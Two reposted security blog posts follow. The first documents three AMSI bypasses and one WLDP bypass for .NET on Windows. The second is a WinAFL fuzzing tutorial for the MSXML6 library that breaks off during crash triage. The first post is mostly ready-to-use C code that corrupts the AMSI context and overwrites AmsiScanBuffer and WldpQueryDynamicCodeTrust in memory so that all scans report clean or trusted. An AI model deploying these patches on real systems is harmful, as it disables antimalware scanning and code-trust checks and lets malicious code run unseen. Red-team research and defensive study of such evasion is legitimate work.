How Red Teams Bypass AMSI and WLDP for .NET Dynamic Code

Original text by modexp

1. Introduction

v4.8 of the dotnet framework uses Antimalware Scan Interface (AMSI) and Windows Lockdown Policy (WLDP) to block potentially unwanted software running from memory. WLDP will verify the digital signature of dynamic code while AMSI will scan for software that is either harmful or blocked by the administrator. This post documents three publicly-known methods red teams currently use to bypass AMSI and one to bypass WLDP. The bypass methods described are somewhat generic and don’t require special knowledge of AMSI or WLDP. If you’re reading this post anytime after June 2019, the methods may no longer work. The research of AMSI and WLDP was conducted in collaboration with TheWover.

2. Previous Research

The following table includes links to past research about AMSI and WLDP. If you feel I’ve missed anyone, don’t hesitate to e-mail me the details.

DateArticle
May 2016Bypassing Amsi using PowerShell 5 DLL Hijacking by Cneelis
Jul 2017Bypassing AMSI via COM Server Hijacking by Matt Nelson
Jul 2017Bypassing Device Guard with .NET Assembly Compilation Methods by Matt Graeber
Feb 2018AMSI Bypass With a Null Character by Satoshi Tanda
Feb 2018AMSI Bypass: Patching Technique by CyberArk (Avi Gimpel and Zeev Ben Porat).
Feb 2018The Rise and Fall of AMSI by Tal Liberman (Ensilo).
May 2018AMSI Bypass Redux by Avi Gimpel (CyberArk).
Jun 2018Exploring PowerShell AMSI and Logging Evasion by Adam Chester
Jun 2018Disabling AMSI in JScript with One Simple Trick by James Forshaw
Jun 2018Documenting and Attacking a Windows Defender Application Control Feature the Hard Way – A Case Study in Security Research Methodology by Matt Graeber
Oct 2018How to bypass AMSI and execute ANY malicious Powershell code by Andre Marques
Oct 2018AmsiScanBuffer Bypass Part 1Part 2Part 3Part 4 by Rasta Mouse
Dec 2018PoC function to corrupt the g_amsiContext global variable in clr.dll by Matt Graeber
Apr 2019Bypassing AMSI for VBA by Pieter Ceelen (Outflank)

3. AMSI Example in C

Given the path to a file, the following function will open it, map into memory and use AMSI to detect if the contents are harmful or blocked by the administrator.

typedef HRESULT (WINAPI *AmsiInitialize_t)(
  LPCWSTR      appName,
  HAMSICONTEXT *amsiContext);

typedef HRESULT (WINAPI *AmsiScanBuffer_t)(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result);

typedef void (WINAPI *AmsiUninitialize_t)(
  HAMSICONTEXT amsiContext);
  
BOOL IsMalware(const char *path) {
    AmsiInitialize_t   _AmsiInitialize;
    AmsiScanBuffer_t   _AmsiScanBuffer;
    AmsiUninitialize_t _AmsiUninitialize;
    HAMSICONTEXT       ctx;
    AMSI_RESULT        res;
    HMODULE            amsi;
    
    HANDLE             file, map, mem;
    HRESULT            hr = -1;
    DWORD              size, high;
    BOOL               malware = FALSE;
    
    // load amsi library
    amsi = LoadLibrary("amsi");
    
    // resolve functions
    _AmsiInitialize = 
      (AmsiInitialize_t)
      GetProcAddress(amsi, "AmsiInitialize");
    
    _AmsiScanBuffer =
      (AmsiScanBuffer_t)
      GetProcAddress(amsi, "AmsiScanBuffer");
      
    _AmsiUninitialize = 
      (AmsiUninitialize_t)
      GetProcAddress(amsi, "AmsiUninitialize");
      
    // return FALSE on failure
    if(_AmsiInitialize   == NULL ||
       _AmsiScanBuffer   == NULL ||
       _AmsiUninitialize == NULL) {
      printf("Unable to resolve AMSI functions.\n");
      return FALSE;
    }
    
    // open file for reading
    file = CreateFile(
      path, GENERIC_READ, FILE_SHARE_READ,
      NULL, OPEN_EXISTING, 
      FILE_ATTRIBUTE_NORMAL, NULL); 
    
    if(file != INVALID_HANDLE_VALUE) {
      // get size
      size = GetFileSize(file, &high);
      if(size != 0) {
        // create mapping
        map = CreateFileMapping(
          file, NULL, PAGE_READONLY, 0, 0, 0);
          
        if(map != NULL) {
          // get pointer to memory
          mem = MapViewOfFile(
            map, FILE_MAP_READ, 0, 0, 0);
            
          if(mem != NULL) {
            // scan for malware
            hr = _AmsiInitialize(L"AMSI Example", &ctx);
            if(hr == S_OK) {
              hr = _AmsiScanBuffer(ctx, mem, size, NULL, 0, &res);
              if(hr == S_OK) {
                malware = (AmsiResultIsMalware(res) || 
                           AmsiResultIsBlockedByAdmin(res));
              }
              _AmsiUninitialize(ctx);
            }              
            UnmapViewOfFile(mem);
          }
          CloseHandle(map);
        }
      }
      CloseHandle(file);
    }
    return malware;
}

Scanning a good and bad file.

If you’re already familiar with the internals of AMSI, you can skip to the bypass methods here.

4. AMSI Context

The context is an undocumented structure, but you may use the following to interpret the handle returned.

typedef struct tagHAMSICONTEXT {
  DWORD        Signature;          // "AMSI" or 0x49534D41
  PWCHAR       AppName;            // set by AmsiInitialize
  IAntimalware *Antimalware;       // set by AmsiInitialize
  DWORD        SessionCount;       // increased by AmsiOpenSession
} _HAMSICONTEXT, *_PHAMSICONTEXT;

5. AMSI Initialization

appName points to a user-defined string in unicode format while amsiContext points to a handle of type HAMSICONTEXT. It returns S_OK if an AMSI context was successfully initialized. The following code is not a full implementation of the function, but should help you understand what happens internally.

HRESULT _AmsiInitialize(LPCWSTR appName, HAMSICONTEXT *amsiContext) {
    _HAMSICONTEXT *ctx;
    HRESULT       hr;
    int           nameLen;
    IClassFactory *clsFactory = NULL;
    
    // invalid arguments?
    if(appName == NULL || amsiContext == NULL) {
      return E_INVALIDARG;
    }
    
    // allocate memory for context
    ctx = (_HAMSICONTEXT*)CoTaskMemAlloc(sizeof(_HAMSICONTEXT));
    if(ctx == NULL) {
      return E_OUTOFMEMORY;
    }
    
    // initialize to zero
    ZeroMemory(ctx, sizeof(_HAMSICONTEXT));
    
    // set the signature to "AMSI"
    ctx->Signature = 0x49534D41;
    
    // allocate memory for the appName and copy to buffer
    nameLen = (lstrlen(appName) + 1) * sizeof(WCHAR);
    ctx->AppName = (PWCHAR)CoTaskMemAlloc(nameLen);
    
    if(ctx->AppName == NULL) {
      hr = E_OUTOFMEMORY;
    } else {
      // set the app name
      lstrcpy(ctx->AppName, appName);
      
      // instantiate class factory
      hr = DllGetClassObject(
        CLSID_Antimalware, 
        IID_IClassFactory, 
        (LPVOID*)&clsFactory);
        
      if(hr == S_OK) {
        // instantiate Antimalware interface
        hr = clsFactory->CreateInstance(
          NULL,
          IID_IAntimalware, 
          (LPVOID*)&ctx->Antimalware);
        
        // free class factory
        clsFactory->Release();
        
        // save pointer to context
        *amsiContext = ctx;
      }
    }
    
    // if anything failed, free context
    if(hr != S_OK) {
      AmsiFreeContext(ctx);
    }
    return hr;
}

Memory is allocated on the heap for a HAMSICONTEXT structure and initialized using the appName, the AMSI signature (0x49534D41) and IAntimalware interface.

6. AMSI Scanning

The following code gives you a rough idea of what happens when the function is invoked. If the scan is successful, the result returned will be S_OK and the AMSI_RESULT should be inspected to determine if the buffer contains unwanted software.

HRESULT _AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result)
{
    _HAMSICONTEXT *ctx = (_HAMSICONTEXT*)amsiContext;
    
    // validate arguments
    if(buffer           == NULL       ||
       length           == 0          ||
       amsiResult       == NULL       ||
       ctx              == NULL       ||
       ctx->Signature   != 0x49534D41 ||
       ctx->AppName     == NULL       ||
       ctx->Antimalware == NULL)
    {
      return E_INVALIDARG;
    }
    
    // scan buffer
    return ctx->Antimalware->Scan(
      ctx->Antimalware,     // rcx = this
      &CAmsiBufferStream,   // rdx = IAmsiBufferStream interface
      amsiResult,           // r8  = AMSI_RESULT
      NULL,                 // r9  = IAntimalwareProvider
      amsiContext,          // HAMSICONTEXT
      CAmsiBufferStream,
      buffer,
      length, 
      contentName,
      amsiSession);
}

Note how arguments are validated. This is one of the many ways AmsiScanBuffer can be forced to fail and return E_INVALIDARG.

7. CLR Implementation of AMSI

CLR uses a private function called AmsiScan to detect unwanted software passed via a Loadmethod. Detection can result in termination of a .NET process, but not necessarily an unmanaged process using the CLR hosting interfaces. The following code gives you a rough idea of how CLR implements AMSI.

AmsiScanBuffer_t _AmsiScanBuffer;
AmsiInitialize_t _AmsiInitialize;
HAMSICONTEXT     *g_amsiContext;

VOID AmsiScan(PVOID buffer, ULONG length) {
    HMODULE          amsi;
    HAMSICONTEXT     *ctx;
    HAMSI_RESULT     amsiResult;
    HRESULT          hr;
    
    // if global context not initialized
    if(g_amsiContext == NULL) {
      // load AMSI.dll
      amsi = LoadLibraryEx(
        L"amsi.dll", 
        NULL, 
        LOAD_LIBRARY_SEARCH_SYSTEM32);
        
      if(amsi != NULL) {
        // resolve address of init function
        _AmsiInitialize = 
          (AmsiInitialize_t)GetProcAddress(amsi, "AmsiInitialize");
        
        // resolve address of scanning function
        _AmsiScanBuffer =
          (AmsiScanBuffer_t)GetProcAddress(amsi, "AmsiScanBuffer");
        
        // failed to resolve either? exit scan
        if(_AmsiInitialize == NULL ||
           _AmsiScanBuffer == NULL) return;
           
        hr = _AmsiInitialize(L"DotNet", &ctx);
        
        if(hr == S_OK) {
          // update global variable
          g_amsiContext = ctx;
        }
      }
    }
    if(g_amsiContext != NULL) {
      // scan buffer
      hr = _AmsiScanBuffer(
        g_amsiContext,
        buffer,
        length,
        0,
        0,        
        &amsiResult);
        
      if(hr == S_OK) {
        // if malware was detected or it's blocked by admin
        if(AmsiResultIsMalware(amsiResult) ||
           AmsiResultIsBlockedByAdmin(amsiResult))
        {
          // "Operation did not complete successfully because "
          // "the file contains a virus or potentially unwanted" 
          // software.
          GetHRMsg(ERROR_VIRUS_INFECTED, &error_string, 0);
          ThrowHR(COR_E_BADIMAGEFORMAT, &error_string);          
        }           
      }
    }
}

When AmsiScan is called for the first time, it invokes AmsiInitialize, and if successful will return a pointer to an AMSI context. The pointer is then saved to a global variable called g_amsiContext to be used for later scans. If buffer does contain harmful code, ThrowHR is called with COR_E_BADIMAGEFORMAT and ERROR_VIRUS_INFECTED as the secondary error. The problem with this code is that AmsiScanBuffer will return E_INVALIDARG if the AMSI context is corrupt and the fact AmsiScan doesn’t bother to investigate why.

8. AMSI Bypass A (Patching Data)

Matt Graeber provided a PoC that corrupts the context CLR!g_amsiContext points to, thus causing AmsiScanBuffer to return E_INVALIDARG. As you can see from the CLR implementation, this works because the result of CLR!AmsiScan is never validated for success or failure. The assumption is that it will simply throw an error and terminate the host application upon any attempt to load unwanted software. However, an unmanaged application hosting a .NET assembly is likely to handle any C++ exception. Windows Defender would still log the detection of harmful code, but the unmanaged host application would in some cases continue to run. To disable AMSI via g_amsiContext, one can either search through the heap memory pointed to by PEB.ProcessHeap or through each pointer found in the virtual address space of the .data segment. The following code demonstrates the latter approach. This only works _after_ CLR has called AmsiScan.

BOOL DisableAMSI(VOID) {
    LPVOID                   hCLR;
    BOOL                     disabled = FALSE;
    PIMAGE_DOS_HEADER        dos;
    PIMAGE_NT_HEADERS        nt;
    PIMAGE_SECTION_HEADER    sh;
    DWORD                    i, j, res;
    PBYTE                    ds;
    MEMORY_BASIC_INFORMATION mbi;
    _PHAMSICONTEXT           ctx;
    
    hCLR = GetModuleHandleA("CLR");
    
    if(hCLR != NULL) {
      dos = (PIMAGE_DOS_HEADER)hCLR;  
      nt  = RVA2VA(PIMAGE_NT_HEADERS, hCLR, dos->e_lfanew);  
      sh  = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + 
             nt->FileHeader.SizeOfOptionalHeader);
             
      // scan all writeable segments while disabled == FALSE
      for(i = 0; 
          i < nt->FileHeader.NumberOfSections && !disabled; 
          i++) 
      {
        // if this section is writeable, assume it's data
        if (sh[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
          // scan section for pointers to the heap
          ds = RVA2VA (PBYTE, hCLR, sh[i].VirtualAddress);
           
          for(j = 0; 
              j < sh[i].Misc.VirtualSize - sizeof(ULONG_PTR); 
              j += sizeof(ULONG_PTR)) 
          {
            // get pointer
            ULONG_PTR ptr = *(ULONG_PTR*)&ds[j];
            // query if the pointer
            res = VirtualQuery((LPVOID)ptr, &mbi, sizeof(mbi));
            if(res != sizeof(mbi)) continue;
            
            // if it's a pointer to heap or stack
            if ((mbi.State   == MEM_COMMIT    ) &&
                (mbi.Type    == MEM_PRIVATE   ) && 
                (mbi.Protect == PAGE_READWRITE))
            {
              ctx = (_PHAMSICONTEXT)ptr;
              // check if it contains the signature 
              if(ctx->Signature == 0x49534D41) {
                // corrupt it
                ctx->Signature++;
                disabled = TRUE;
                break;
              }
            }
          }
        }
      }
    }
    return disabled;
}

9. AMSI Bypass B (Patching Code 1)

CyberArk suggest patching AmsiScanBuffer with 2 instructions xor edi, edi, nop. If you wanted to hook the function, using a Length Disassembler Engine (LDE) might be helpful for calculating the correct number of prolog bytes to save before overwriting with a jump to alternate function. Since the AMSI context passed into this function is validated and one of the tests require the Signature to be “AMSI”, you might locate that immediate value and simply change it to something else. In the following example, we’re corrupting the signature in code rather than context/data as demonstrated by Matt Graeber.

BOOL DisableAMSI(VOID) {
    HMODULE        dll;
    PBYTE          cs;
    DWORD          i, op, t;
    BOOL           disabled = FALSE;
    _PHAMSICONTEXT ctx;
    
    // load AMSI library
    dll = LoadLibraryExA(
      "amsi", NULL, 
      LOAD_LIBRARY_SEARCH_SYSTEM32);
      
    if(dll == NULL) {
      return FALSE;
    }
    // resolve address of function to patch
    cs = (PBYTE)GetProcAddress(dll, "AmsiScanBuffer");
    
    // scan for signature
    for(i=0;;i++) {
      ctx = (_PHAMSICONTEXT)&cs[i];
      // is it "AMSI"?
      if(ctx->Signature == 0x49534D41) {
        // set page protection for write access
        VirtualProtect(cs, sizeof(ULONG_PTR), 
          PAGE_EXECUTE_READWRITE, &op);
          
        // change signature
        ctx->Signature++;
        
        // set page back to original protection
        VirtualProtect(cs, sizeof(ULONG_PTR), op, &t);
        disabled = TRUE;
        break;
      }
    }
    return disabled;
}

10. AMSI Bypass C (Patching Code 2)

Tal Liberman suggests overwriting the prolog bytes of AmsiScanBuffer to return 1. The following code also overwrites that function so that it returns AMSI_RESULT_CLEAN and S_OKfor every buffer scanned by CLR.

// fake function that always returns S_OK and AMSI_RESULT_CLEAN
static HRESULT AmsiScanBufferStub(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result)
{
    *result = AMSI_RESULT_CLEAN;
    return S_OK;
}

static VOID AmsiScanBufferStubEnd(VOID) {}

BOOL DisableAMSI(VOID) {
    BOOL    disabled = FALSE;
    HMODULE amsi;
    DWORD   len, op, t;
    LPVOID  cs;
    
    // load amsi
    amsi = LoadLibrary("amsi");
    
    if(amsi != NULL) {
      // resolve address of function to patch
      cs = GetProcAddress(amsi, "AmsiScanBuffer");
      
      if(cs != NULL) {
        // calculate length of stub
        len = (ULONG_PTR)AmsiScanBufferStubEnd -
          (ULONG_PTR)AmsiScanBufferStub;
          
        // make the memory writeable
        if(VirtualProtect(
          cs, len, PAGE_EXECUTE_READWRITE, &op))
        {
          // over write with code stub
          memcpy(cs, &AmsiScanBufferStub, len);
          
          disabled = TRUE;
            
          // set back to original protection
          VirtualProtect(cs, len, op, &t);
        }
      }
    }
    return disabled;
}

After the patch is applied, we see unwanted software is flagged as safe.

11. WLDP Example in C

The following function demonstrates how to query the trust of dynamic code in-memory using Windows Lockdown Policy.

BOOL VerifyCodeTrust(const char *path) {
    WldpQueryDynamicCodeTrust_t _WldpQueryDynamicCodeTrust;
    HMODULE                     wldp;
    HANDLE                      file, map, mem;
    HRESULT                     hr = -1;
    DWORD                       low, high;
    
    // load wldp
    wldp = LoadLibrary("wldp");
    _WldpQueryDynamicCodeTrust = 
      (WldpQueryDynamicCodeTrust_t)
      GetProcAddress(wldp, "WldpQueryDynamicCodeTrust");
    
    // return FALSE on failure
    if(_WldpQueryDynamicCodeTrust == NULL) {
      printf("Unable to resolve address for WLDP.dll!WldpQueryDynamicCodeTrust.\n");
      return FALSE;
    }
    
    // open file reading
    file = CreateFile(
      path, GENERIC_READ, FILE_SHARE_READ,
      NULL, OPEN_EXISTING, 
      FILE_ATTRIBUTE_NORMAL, NULL); 
    
    if(file != INVALID_HANDLE_VALUE) {
      // get size
      low = GetFileSize(file, &high);
      if(low != 0) {
        // create mapping
        map = CreateFileMapping(file, NULL, PAGE_READONLY, 0, 0, 0);
        if(map != NULL) {
          // get pointer to memory
          mem = MapViewOfFile(map, FILE_MAP_READ, 0, 0, 0);
          if(mem != NULL) {
            // verify signature
            hr = _WldpQueryDynamicCodeTrust(0, mem, low);              
            UnmapViewOfFile(mem);
          }
          CloseHandle(map);
        }
      }
      CloseHandle(file);
    }
    return hr == S_OK;
}

12. WLDP Bypass A (Patching Code 1)

Overwriting the function with a code stub that always returns S_OK.

// fake function that always returns S_OK
static HRESULT WINAPI WldpQueryDynamicCodeTrustStub(
    HANDLE fileHandle,
    PVOID  baseImage,
    ULONG  ImageSize)
{
    return S_OK;
}

static VOID WldpQueryDynamicCodeTrustStubEnd(VOID) {}

static BOOL PatchWldp(VOID) {
    BOOL    patched = FALSE;
    HMODULE wldp;
    DWORD   len, op, t;
    LPVOID  cs;
    
    // load wldp
    wldp = LoadLibrary("wldp");
    
    if(wldp != NULL) {
      // resolve address of function to patch
      cs = GetProcAddress(wldp, "WldpQueryDynamicCodeTrust");
      
      if(cs != NULL) {
        // calculate length of stub
        len = (ULONG_PTR)WldpQueryDynamicCodeTrustStubEnd -
          (ULONG_PTR)WldpQueryDynamicCodeTrustStub;
          
        // make the memory writeable
        if(VirtualProtect(
          cs, len, PAGE_EXECUTE_READWRITE, &op))
        {
          // over write with stub
          memcpy(cs, &WldpQueryDynamicCodeTrustStub, len);
        
          patched = TRUE;
        
          // set back to original protection
          VirtualProtect(cs, len, op, &t);
        }
      }
    }
    return patched;
}

Although the methods described here are easy to detect, they remain effective against the latest release of DotNet framework on Windows 10. So long as it’s possible to patch data or code used by AMSI to detect harmful code, the potential to bypass it will always exist.

Реклама

Fuzzing the MSXML6 library with WinAFL

Original text by symeonp

Introduction

In this blog post, I’ll write about how I tried to fuzz the MSXML library using the WinAFL fuzzer.

If you haven’t played around with WinAFL, it’s a massive fuzzer created by Ivan Fratric based on the lcumtuf’s AFL which uses DynamoRIO to measure code coverage and the Windows API for memory and process creation. Axel Souchet has been actively contributing features such as corpus minimization, latest afl stable builds, persistent execution mode which will cover on the next blog post and the finally the afl-tmin tool.

We will start by creating a test harness which will allow us to fuzz some parsing functionality within the library, calculate the coverage, minimise the test cases and finish by kicking off the fuzzer and triage the findings. Lastly, thanks to Mitja Kolsek from 0patch for providing the patch which will see how one can use the 0patch to patch this issue!

Using the above steps, I’ve managed to find a NULL pointer dereference on the msxml6!DTD::findEntityGeneral function, which I reported to Microsoft but got rejected as this is not a security issue. Fair enough, indeed the crash is crap, yet hopefully somebody might find interesting the techniques I followed!

The Harness

While doing some research I ended up on this page which Microsoft has kindly provided a sample C++ code which allows us to feed some XML files and validate its structure. I am going to use Visual Studio 2015 to build the following program but before I do that, I am slightly going to modify it and use Ivan’s charToWChar method so as to accept an argument as a file:

// xmlvalidate_fuzz.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#import <msxml6.dll>
extern "C" __declspec(dllexport)  int main(int argc, char** argv);

// Macro that calls a COM method returning HRESULT value.
#define CHK_HR(stmt)        do { hr=(stmt); if (FAILED(hr)) goto CleanUp; } while(0)

void dump_com_error(_com_error &e)
{
    _bstr_t bstrSource(e.Source());
    _bstr_t bstrDescription(e.Description());

    printf("Error\n");
    printf("\a\tCode = %08lx\n", e.Error());
    printf("\a\tCode meaning = %s", e.ErrorMessage());
    printf("\a\tSource = %s\n", (LPCSTR)bstrSource);
    printf("\a\tDescription = %s\n", (LPCSTR)bstrDescription);
}

_bstr_t validateFile(_bstr_t bstrFile)
{
    // Initialize objects and variables.
    MSXML2::IXMLDOMDocument2Ptr pXMLDoc;
    MSXML2::IXMLDOMParseErrorPtr pError;
    _bstr_t bstrResult = L"";
    HRESULT hr = S_OK;

    // Create a DOMDocument and set its properties.
    CHK_HR(pXMLDoc.CreateInstance(__uuidof(MSXML2::DOMDocument60), NULL, CLSCTX_INPROC_SERVER));

    pXMLDoc->async = VARIANT_FALSE;
    pXMLDoc->validateOnParse = VARIANT_TRUE;
    pXMLDoc->resolveExternals = VARIANT_TRUE;

    // Load and validate the specified file into the DOM.
    // And return validation results in message to the user.
    if (pXMLDoc->load(bstrFile) != VARIANT_TRUE)
    {
        pError = pXMLDoc->parseError;

        bstrResult = _bstr_t(L"Validation failed on ") + bstrFile +
            _bstr_t(L"\n=====================") +
            _bstr_t(L"\nReason: ") + _bstr_t(pError->Getreason()) +
            _bstr_t(L"\nSource: ") + _bstr_t(pError->GetsrcText()) +
            _bstr_t(L"\nLine: ") + _bstr_t(pError->Getline()) +
            _bstr_t(L"\n");
    }
    else
    {
        bstrResult = _bstr_t(L"Validation succeeded for ") + bstrFile +
            _bstr_t(L"\n======================\n") +
            _bstr_t(pXMLDoc->xml) + _bstr_t(L"\n");
    }

CleanUp:
    return bstrResult;
}

wchar_t* charToWChar(const char* text)
{
    size_t size = strlen(text) + 1;
    wchar_t* wa = new wchar_t[size];
    mbstowcs(wa, text, size);
    return wa;
}

int main(int argc, char** argv)
{
    if (argc < 2) {
        printf("Usage: %s <xml file>\n", argv[0]);
        return 0;
    }

    HRESULT hr = CoInitialize(NULL);
    if (SUCCEEDED(hr))
    {
        try
        {
            _bstr_t bstrOutput = validateFile(charToWChar(argv[1]));
            MessageBoxW(NULL, bstrOutput, L"noNamespace", MB_OK);
        }
        catch (_com_error &e)
        {
            dump_com_error(e);
        }
        CoUninitialize();
    }

    return 0;

}

Notice also the following snippet: extern "C" __declspec(dllexport) int main(int argc, char** argv);

Essentially, this allows us to use target_method argument which DynamoRIO will try to retrieve the address for a given symbol name as seen here.

I could use the offsets method as per README, but due to ASLR and all that stuff, we want to scale a bit the fuzzing and spread the binary to many Virtual Machines and use the same commands to fuzz it. The extern "C" directive will unmangle the function name and will make it look prettier.

To confirm that indeed DynamoRIO can use this method the following command can be used:

dumpbin /EXPORTS xmlvalidate_fuzz.exe

Viewing the exported functions.

Now let’s quickly run the binary and observe the output. You should get the following output:

Output from the xmlvlidation binary.

Code Coverage

WinAFL

Since the library is closed source, we will be using DynamoRIO’s code coverage library feature via the WinAFL:

C:\DRIO\bin32\drrun.exe -c winafl.dll -debug -coverage_module msxml6.dll -target_module xmlvalidate.exe -target_method main -fuzz_iterations 10 -nargs 2 -- C:\xml_fuzz_initial\xmlvalidate.exe C:\xml_fuzz_initial\nn-valid.xml

WinAFL will start executing the binary ten times. Once this is done, navigate back to the winafl folder and check the log file:

Checking the coverage within WinAFL.

From the output we can see that everything appears to be running normally! On the right side of the file, the dots depict the coverage of the DLL, if you scroll down you’ll see that we did hit many function as we are getting more dots throughout the whole file. That’s a very good indication that we are hiting a lot of code and we properly targeting the MSXML6 library.

Lighthouse — Code Coverage Explorer for IDA Pro

This plugin will help us understand better which function we are hitting and give a nice overview of the coverage using IDA. It’s an excellent plugin with very good documentation and has been developed by Markus Gaasedelen (@gaasedelen) Make sure to download the latest DynamoRIO version 7, and install it as per instrcutions here. Luckily, we do have two sample test cases from the documentation, one valid and one invalid. Let’s feed the valid one and observe the coverage. To do that, run the following command:

C:\DRIO7\bin64\drrun.exe -t drcov -- xmlvalidate.exe nn-valid.xml

Next step fire up IDA, drag the msxml6.dll and make sure to fetch the symbols! Now, check if a .log file has been created and open it on IDA from the File -> Load File -> Code Coverage File(s) menu. Once the coverage file is loaded it will highlight all the functions that your test case hit.

Case minimisation

Now it’s time to grab some XML files (as small as possible). I’ve used a slightly hacked version of joxean’s find_samples.py script. Once you get a few test cases let’s minimise our initial seed files. This can be done using the following command:

python winafl-cmin.py --working-dir C:\winafl\bin32 -D C:\DRIO\bin32 -t 100000 -i C:\xml_fuzz\samples -o C:\minset_xml -coverage_module msxml6.dll -target_module xmlvalidate.exe -target_method fuzzme -nargs 1 -- C:\xml_fuzz\xmlvalidate.exe @@

You might see the following output:

corpus minimization tool for WinAFL by <0vercl0k@tuxfamily.org> 
Based on WinAFL by <ifratric@google.com> 
Based on AFL by <lcamtuf@google.com> 
[+] CWD changed to C:\winafl\bin32. 
[*] Testing the target binary... 
[!] Dry-run failed, 2 executions resulted differently: 
Tuples matching? False 
Return codes matching? True

I am not quite sure but I think that the winafl-cmin.py script expects that the initial seed files lead to the same code path, that is we have to run the script one time for the valid cases and one for the invalid ones. I might be wrong though and maybe there’s a bug which in that case I need to ping Axel.

Let’s identify the ‘good’ and the ‘bad’ XML test cases using this bash script:

$ for file in *; do printf "==== FILE: $file =====\n"; /cygdrive/c/xml_fuzz/xmlvalidate.exe $file ;sleep 1; done

The following screenshot depicts my results:

Looping through the test cases with Cygwin

Feel free to expirement a bit, and see which files are causing this issue — your mileage may vary. Once you are set, run again the above command and hopefully you’ll get the following result:

Minimising our initial seed files.

So look at that! The initial campaign included 76 cases which after the minimisation it was narrowed down to 26. 
Thank you Axel!

With the minimised test cases let’s code a python script that will automate all the code coverage:

import sys
import os

testcases = []
for root, dirs, files in os.walk(".", topdown=False):
    for name in files:
        if name.endswith(".xml"):
            testcase =  os.path.abspath(os.path.join(root, name))
            testcases.append(testcase)

for testcase in testcases:
    print "[*] Running DynamoRIO for testcase: ", testcase
    os.system("C:\\DRIO7\\bin32\\drrun.exe -t drcov -- C:\\xml_fuzz\\xmlvalidate.exe %s" % testcase)

The above script produced the following output for my case:

Coverage files produced by the Lighthouse plugin.

As previously, using IDA open all those .log files under File -> Load File -> Code Coverage File(s) menu.

Code coverage using the Lighthouse plugin and IDA Pro.

Interestingly enough, notice how many parse functions do exist, and if you navigate around the coverage you’ll see that we’ve managed to hit a decent amount of interesting code.

Since we do have some decent coverage, let’s move on and finally fuzz it!

All I do is fuzz, fuzz, fuzz

Let’s kick off the fuzzer:

afl-fuzz.exe -i C:\minset_xml -o C:\xml_results -D C:\DRIO\bin32\ -t 20000 -- -coverage_module MSXML6.dll -target_module xmlvalidate.exe -target_method main -nargs 2 -- C:\xml_fuzz\xmlvalidate.exe @@

Running the above yields the following output:

WinAFL running with a slow speed.

As you can see, the initial code does that job — however the speed is very slow. Three executions per second will take long to give some proper results. Interestingly enough, I’ve had luck in the past and with that speed (using python and radamsa prior the afl/winafl era) had success in finding bugs and within three days of fuzzing!

Let’s try our best though and get rid of the part that slows down the fuzzing. If you’ve done some Windows programming you know that the following line initialises a COM object which could be the bottleneck of the slow speed:

HRESULT hr = CoInitialize(NULL);

This line probably is a major issue so in fact, let’s refactor the code, we are going to create a fuzzme method which is going to receive the filename as an argument outside the COM initialisation call. The refactored code should look like this:

--- cut ---

extern "C" __declspec(dllexport) _bstr_t fuzzme(wchar_t* filename);

_bstr_t fuzzme(wchar_t* filename)
{
    _bstr_t bstrOutput = validateFile(filename);
    //bstrOutput += validateFile(L"nn-notValid.xml");
    //MessageBoxW(NULL, bstrOutput, L"noNamespace", MB_OK);
    return bstrOutput;

}
int main(int argc, char** argv)
{
    if (argc < 2) {
        printf("Usage: %s <xml file>\n", argv[0]);
        return 0;
    }

    HRESULT hr = CoInitialize(NULL);
    if (SUCCEEDED(hr))
    {
        try
        {
            _bstr_t bstrOutput = fuzzme(charToWChar(argv[1]));
        }
        catch (_com_error &e)
        {
            dump_com_error(e);
        }
        CoUninitialize();
    }
    return 0;
}
--- cut ---

You can grab the refactored version here. With the refactored binary let’s run one more time the fuzzer and see if we were right. This time, we will pass the fuzzme target_method instead of main, and use only one argument which is the filename. While we are here, let’s use the lcamtuf’s xml.dic from here.

afl-fuzz.exe -i C:\minset_xml -o C:\xml_results -D C:\DRIO\bin32\ -t 20000 -x xml.dict -- -coverage_module MSXML6.dll -target_module xmlvalidate.exe -target_method fuzzme -nargs 1 -- C:\xml_fuzz\xmlvalidate.exe @@

Once you’ve run that, here’s the output within a few seconds of fuzzing on a VMWare instance:

WinAFL running with a massive speed.

Brilliant! That’s much much better, now let it run and wait for crashes! 

The findings — Crash triage/analysis

Generally, I’ve tried to fuzz this binary with different test cases, however unfortunately I kept getting the NULL pointer dereference bug. The following screenshot depicts the findings after a ~ 12 days fuzzing campaign:

Fuzzing results after 12 days.

Notice that a total of 33 million executions were performed and 26 unique crashes were discovered!

In order to triage these findings, I’ve used the BugId tool from SkyLined, it’s an excellent tool which will give you a detailed report regarding the crash and the exploitability of the crash.

Here’s my python code for that:

import sys
import os


sys.path.append("C:\\BugId")

testcases = []
for root, dirs, files in os.walk(".\\fuzzer01\\crashes", topdown=False):
    for name in files:
        if name.endswith("00"):
            testcase =  os.path.abspath(os.path.join(root, name))
            testcases.append(testcase)

for testcase in testcases:
    print "[*] Gonna run: ", testcase
    os.system("C:\\python27\\python.exe C:\\BugId\\BugId.py C:\\Users\\IEUser\\Desktop\\xml_validate_results\\xmlvalidate.exe -- %s" % testcase)

The above script gives the following output:

Running cBugId to triage the crashes..

Once I ran that for all my crashes, it clearly showed that we’re hitting the same bug. To confirm, let’s fire up windbg:

0:000> g
(a6c.5c0): Access violation - code c0000005 (!!! second chance !!!)
eax=03727aa0 ebx=0012fc3c ecx=00000000 edx=00000000 esi=030f4f1c edi=00000002
eip=6f95025a esp=0012fbcc ebp=0012fbcc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
msxml6!DTD::findEntityGeneral+0x5:
6f95025a 8b4918          mov     ecx,dword ptr [ecx+18h] ds:0023:00000018=????????
0:000> kv
ChildEBP RetAddr  Args to Child              
